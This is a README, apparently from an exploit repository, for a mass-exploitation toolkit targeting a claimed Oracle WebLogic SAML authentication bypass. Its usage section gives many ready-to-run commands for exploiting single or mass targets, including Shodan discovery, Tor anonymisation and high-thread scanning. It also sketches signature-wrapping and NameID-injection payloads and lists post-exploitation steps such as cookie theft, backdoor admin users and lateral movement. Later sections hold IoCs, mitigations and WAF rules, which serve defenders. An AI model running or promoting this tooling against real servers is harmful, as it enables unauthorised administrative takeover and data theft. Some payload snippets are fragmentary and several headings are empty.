CVE-2026-60206 - Oracle WebLogic SAML Auth Bypass Exploit Framework-Toolkit

Oracle WebLogic Server — SAML Authentication Bypass → Admin Takeover

Exploit Framework & Mass Scanner
For authorized security testing only.

⚖️ Legal Disclaimer & Responsible Use

This tool is provided for educational and authorized penetration testing purposes only.

The authors and contributors are not responsible for any misuse or damage caused by this software. Users are solely responsible for ensuring they have explicit written permission from the target owner before testing. Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA) and similar laws worldwide.

By using this software, you agree to:

• Use it only on systems you own or have explicit permission to test.
• Comply with all applicable local, state, and federal laws.
• Not use it for any malicious, destructive, or illegal activities.

⚠️ WARNING: This vulnerability is actively exploited in the wild. Unauthorized use may result in severe legal consequences.

[+!] Vulnerability Overview

CVE-2026-60206 is a critical unauthenticated authentication bypass vulnerability in Oracle WebLogic Server's SAML (Security Assertion Markup Language) implementation. It allows remote attackers to bypass SAML authentication and gain administrative access to the WebLogic console without valid credentials.

How it works:

1. SAML Injection: The vulnerability stems from improper validation of SAML assertions. Attackers can craft malicious SAML responses that bypass authentication checks.

2. Signature Bypass: The vulnerability allows bypassing XML signature validation through XML Signature Wrapping (XSW) attacks, where attackers wrap malicious assertions with legitimate signatures.

3. NameID Manipulation: Attackers can inject comments or manipulate the NameID field to impersonate privileged users.

4. Admin Access: Successful exploitation grants the attacker administrative access to the WebLogic Server console with full control.

Key Facts:

🛠️ Exploit Framework

The full educational multi-exploit chains multiple SAML attack vectors to achieve authentication bypass, with advanced features for mass scanning, cookie, and administrative access.

✨ Features

Attack Vectors

🕵️ Safe Verifier (--detect)

The safe verifier performs non‑intrusive vulnerability detection without executing harmful payloads or making system changes.

✨ Features

📦 Installation & Requirements

Prerequisites

• Python 3.6+ or Bash 3.2+
• curl (for Bash version)
• pip (for requests library, Python version)

Install Dependencies

# Python version
pip install requests urllib3

# Optional: Shodan support
pip install shodan

# Bash version: curl only (no additional dependencies)

[!NOTE] The Bash version works with curl only and has no external dependencies. The Python version requires requests and urllib3 (optional: shodan for Shodan integration).

🚀 Usage Examples

[1] Python Exploit Framework (exploit.py)

# Single target exploit (combo mode)
python exploit.py -u https://192.168.1.100:7002 --exploit --user admin

# Exploit with all attack vectors
python exploit.py -u https://192.168.1.100:7002 --mode all --exploit -v

# Mass scanning from file (50 threads)
python exploit.py -l targets.txt --exploit -t 50 -o results.json

# Safe detection only (non-intrusive)
python exploit.py -l targets.txt --detect -o scan_results.csv

# Shodan integration
export SHODAN_API_KEY="your_api_key"
python exploit.py --shodan --shodan-query "WebLogic Server port:7002" --exploit

# Tor anonymized scanning
python exploit.py -l targets.txt --exploit --tor -t 20

# Proxy support
python exploit.py -u https://192.168.1.100:7002 --exploit --proxy http://127.0.0.1:8080

# Streaming JSONL output (memory efficient for large scans)
python exploit.py -l targets.txt --exploit -o results.jsonl

# Quiet mode (minimal output)
python exploit.py -l targets.txt --exploit -q -o results.json

# Custom timeout and retry
python exploit.py -u https://192.168.1.100:7002 --exploit --timeout 20 --retry 5 --delay 2.0

# SSL verification bypass
python exploit.py -u https://192.168.1.100:7002 --exploit --no-verify

# Verbose debugging
python exploit.py -u https://192.168.1.100:7002 --exploit -v

[2] Bash Exploit Framework (exploit.sh)

# Single target exploit
./exploit.sh -u https://192.168.1.100:7002 --exploit --user admin

# Mass scanning
./exploit.sh -l targets.txt --mode all --exploit -o results.json

# Tor anonymized scanning
./exploit.sh -l targets.txt --exploit --tor -t 20

# Shodan integration
export SHODAN_API_KEY="your_api_key"
./exploit.sh --shodan --exploit -o shodan_results.json

# Streaming JSONL output
./exploit.sh -l targets.txt --exploit -o results.jsonl

# Proxy support
./exploit.sh -u https://192.168.1.100:7002 --exploit --proxy http://127.0.0.1:8080

# SSL verification bypass
./exploit.sh -u https://192.168.1.100:7002 --exploit --no-verify

# Quiet mode
./exploit.sh -l targets.txt --exploit -q -o results.json

# Verbose debugging
./exploit.sh -u https://192.168.1.100:7002 --exploit -v

[3] Basic Validator (verifier_poc.sh)

# Single target validation
./verifier_poc.sh -u https://192.168.1.100:7002 --user admin

# Mass validation with report
./verifier_poc.sh -l targets.txt --user admin -o report.txt

# SSL verification bypass
./verifier_poc.sh -u https://192.168.1.100:7002 --no-verify

# Proxy support
./verifier_poc.sh -u https://192.168.1.100:7002 --proxy http://127.0.0.1:8080

🎯 Affected Versions

⚠️ Important: This vulnerability affects self‑hosted WebLogic Server deployments. Apply Oracle CPU July 2026 immediately.

🧠 Technical Deep Dive

1. SAML Authentication Bypass

The vulnerability allows attackers to bypass SAML authentication by crafting malicious SAML responses that are improperly validated by WebLogic's SAML implementation.

Vulnerable Endpoint:

POST /saml2/sp/acs HTTP/1.1
Host: target:7002
Content-Type: application/x-www-form-urlencoded

SAMLResponse=<base64_encoded_malicious_assertion>&RelayState=/

2. Attack Vectors

Unsigned Assertion

saml2:Assertion saml2:Subject <saml2:NameID Format="...">admin</saml2:NameID> </saml2:Subject>

</saml2:Assertion>

XML Signature Wrapping (XSW)

ds:Signature <ds:Reference URI="#legit"> </ds:Reference> </ds:Signature>

<saml2:Assertion ID="evil"> saml2:Subjectadmin</saml2:Subject> </saml2:Assertion>

NameID Comment Injection

<saml2:NameID Format="...">

</saml2:NameID>

3. Post‑Exploitation

Cookie Theft

Successful exploitation yields a JSESSIONID cookie, granting administrative access to the WebLogic console.

Session Hijacking

The stolen cookie can be used to access:

• WebLogic Administration Console
• Deploy/undeploy applications
• Access JNDI resources
• Execute arbitrary commands via JMX

Persistence

• Deploy malicious applications (WAR files)
• Create backdoor admin users
• Install remote access tools

Lateral Movement

• Access other servers in the network via stolen credentials
• Exploit trust relationships between WebLogic and other systems
• Pivot to internal networks

🔍 Indicators of Compromise (IoCs)

Log Analysis

Search your WebLogic logs for:

• access.log – requests to /saml2/sp/acs, /saml2/acs with unusual SAML parameters
• domain.log – authentication bypass attempts with invalid SAML assertions
• diagnostic.log – SAML parsing errors or signature validation failures

Suspicious Requests

• SAMLResponse parameters containing:
  • Multiple <saml2:Assertion> tags
  • Comments in <saml2:NameID> fields
  • Unsigned assertions
  • Base64-encoded malicious XML
  • javascript: or eval() in parameters

Files

• Unexpected session files in WebLogic temp directories
• Modified configuration files (config.xml, jps-config.xml)
• New WAR files in autodeploy directory
• Modified weblogic.security files

Network

• Unauthorized administrative connections to the WebLogic console
• Unusual port scans targeting SAML endpoints
• Outbound connections from WebLogic server to unknown IPs
• Reverse shell connections on unusual ports

Processes

• Unexpected Java processes
• Shell processes spawned from WebLogic
• Network connections from WebLogic user to external hosts

🛡️ Mitigation & Remediation

Immediate Actions

1. Apply Oracle CPU July 2026 immediately
2. Disable SAML if not actively used
3. Monitor SAML endpoints for suspicious activity
4. Review access logs for exploitation attempts
5. Rotate all credentials on affected systems

Long-term Actions

1. Implement WAF rules to block malicious SAML requests
2. Enable SAML signature validation with strict mode
3. Regular security audits of WebLogic configurations
4. Network segmentation to limit WebLogic exposure
5. Implement SIEM monitoring for WebLogic events

WAF Rules

# Block SAML requests with multiple assertions
SecRule REQUEST_URI "/saml2/sp/acs|/saml2/acs" \
    "id:10001,phase:1,deny,status:403,\
    msg:'CVE-2026-60206 - Multiple SAML Assertions',\
    chain"
    SecRule ARGS:SAMLResponse ".*<saml2:Assertion>.*<saml2:Assertion>.*"

# Block SAML requests with comments in NameID
SecRule REQUEST_URI "/saml2/sp/acs|/saml2/acs" \
    "id:10002,phase:1,deny,status:403,\
    msg:'CVE-2026-60206 - NameID Comments',\
    chain"
    SecRule ARGS:SAMLResponse ".*<saml2:NameID.*<!--.*-->.*"

# Block unsigned SAML assertions
SecRule REQUEST_URI "/saml2/sp/acs|/saml2/acs" \
    "id:10003,phase:1,deny,status:403,\
    msg:'CVE-2026-60206 - Unsigned Assertion',\
    chain"
    SecRule ARGS:SAMLResponse ".*<saml2:Assertion>.*(?!<ds:Signature>).*"

📚 References

• NVD - CVE-2026-60206
• Oracle Critical Patch Update Advisory - July 2026
• CISA KEV Catalog
• SecurityFocus - CVE-2026-60206
• The Hacker News - WebLogic Zero-Day Exploited

🔗 Other Exploits

• CVE-2026-15409/15410 - SonicWall SMA1000 Multi-Exploit Framework
• CVE-2026-6875 - ServiceNow Pre-Auth RCE Exploit Framework
• CVE-2026-41091 - SolarFlare (RedSun) Microsoft Defender LPE
• CVE-2026-57821 - Apache Fineract SQL Injection Toolkit
• CVE-2026-41940 - cPanel/WHM Authentication Bypass